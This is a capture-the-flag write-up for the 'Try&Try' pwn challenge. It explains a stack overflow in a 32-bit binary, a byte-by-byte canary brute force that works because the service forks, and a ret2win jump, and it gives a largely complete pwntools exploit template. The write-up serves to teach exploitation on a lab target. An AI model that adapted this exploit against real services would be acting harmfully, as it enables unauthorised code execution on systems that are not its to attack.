Writeup
Try&Try FlagYard — Writeup
Try&Try Challenge — Writeup
This writeup explains how to solve the Try&Try pwn challenge. The binary is a 32-bit ELF with stack canary and NX enabled, but PIE is disabled. The goal is to reach the win() function which executes /bin/cat flag.
Summary
We get a classic stack overflow in a line-by-line input loop. The binary has a stack canary, so we cannot just smash the return address. The trick is:
- Locate the overflow in
vuln(). - Bypass the canary using byte-by-byte brute force.
- Ret2win to
win()(PIE is off, so the address is stable).
The process forks in a loop, which makes the canary stable across attempts within the same connection, enabling a reliable brute force.
Binary Protections (checksec)
- Arch: i386 (32-bit)
- Canary: enabled
- NX: enabled
- PIE: disabled
- RELRO: partial
PIE is off, so the win() address is fixed.
Vulnerability Analysis
Where the overflow happens
In the decompiled vuln():
char var_50[0x40];...while (i <= 0x1ff) { read(0, &var_55, 1); if (var_55 == '\n') break; var_50[i] = var_55; // no bounds check i++;}var_50 is only 0x40 bytes, but the loop allows up to 0x200 bytes. This overwrites the stack canary, saved registers, and return address.
Stack layout (important offsets)
From the function prologue and the buffer location:
var_50at[ebp - 0x4c]- Canary at
[ebp - 0x0c]
So the offset from the buffer start:
- Buffer to canary:
0x40 - Canary size:
4 - Then 4 bytes of padding (between canary and saved ebx)
- Saved ebx:
4 - Saved ebp:
4 - Return address: next 4 bytes
Payload layout:
'A' * 0x40<canary>'B' * 4 (padding)'C' * 4 (saved ebx)'D' * 4 (saved ebp)<win addr>Canary Bypass
Why brute force works
The program does this:
while (true) { pid = fork(); if (!pid) break; // child runs vuln() waitpid(...); puts("bye.");}Because of fork(), the child inherits the same stack canary as the parent. That means the canary is stable across attempts in the same connection. We can brute force it byte-by-byte:
- Send
0x40bytes + guessed canary prefix. - If the canary is wrong, we see
*** stack smashing detected ***. - If it is correct, the program returns normally and continues.
Important detail: newline byte
Input is read one byte at a time and stops on 0x0a ('\n'). So the brute force must skip 0x0a in guesses, otherwise the loop stops before overwriting the canary, causing false positives.
Ret2win
The binary has a win() function:
int win() { system("/bin/cat flag");}With PIE disabled, the address is fixed (from nm -n):
08049206 T winAfter the canary is known, overwrite the return address with 0x08049206.
End-to-End Strategy
- Connect to the service.
- Wait for
Input:. - Brute force the canary byte-by-byte (skip 0x0a).
- Send final payload with:
- 0x40 bytes padding
- full canary
- 4 bytes padding
- saved ebx
- saved ebp
win()address
- Read the output to get the flag.
Solver Template (no addresses)
Below is a template solver that includes all important logic but leaves addresses/offsets blank. Fill them in from your own analysis.
#!/usr/bin/env python3from pwn import *
HOST = "tcp.flagyard.com"PORT = 00000
context.binary = ELF("./chall", checksec=False)context.log_level = "info"
# --- fill these ---BUF_SZ = 0x00 # offset to canary (e.g., 0x40)RET2WIN = 0x00000000 # address of win()PAD_BETWEEN = 0x00 # bytes between canary and saved regsSAVED_EBX = 0x00 # usually 4SAVED_EBP = 0x00 # usually 4
PROMPT = b"Input: "SMASH = b"stack smashing detected"
def recv_prompt(io): return io.recvuntil(PROMPT)
def send_line(io, data): io.send(data + b"\n") return io.recvuntil(PROMPT)
def brute_canary(io): canary = b"\x00" for _ in range(3): for b in range(256): if b == 0x0a: continue guess = canary + bytes([b]) payload = b"A" * BUF_SZ + guess out = send_line(io, payload) if SMASH not in out: canary = guess break else: raise RuntimeError("canary brute failed") out = send_line(io, b"A" * BUF_SZ + canary) if SMASH in out: raise RuntimeError("canary verify failed") return canary
def build_payload(canary): payload = b"A" * BUF_SZ payload += canary payload += b"B" * PAD_BETWEEN payload += b"C" * SAVED_EBX payload += b"D" * SAVED_EBP payload += p32(RET2WIN) return payload
def exploit(): io = remote(HOST, PORT) recv_prompt(io) canary = brute_canary(io) log.success(f"canary: {canary.hex()}") io.send(build_payload(canary) + b"\n") try: data = io.recvall(timeout=2.0) if data: print(data.decode(errors="ignore")) except EOFError: pass
if __name__ == "__main__": exploit()Notes
- Decompiled code is from dogbolt.org so some values must not be the same for you
- NX enabled means no shellcode; ret2win is the intended path.
- PIE disabled makes the
win()address stable. - Canary is per-process, but fork makes it stable for a session.
- The read loop is byte-based, so avoid sending
0x0ainside the canary.
Final Result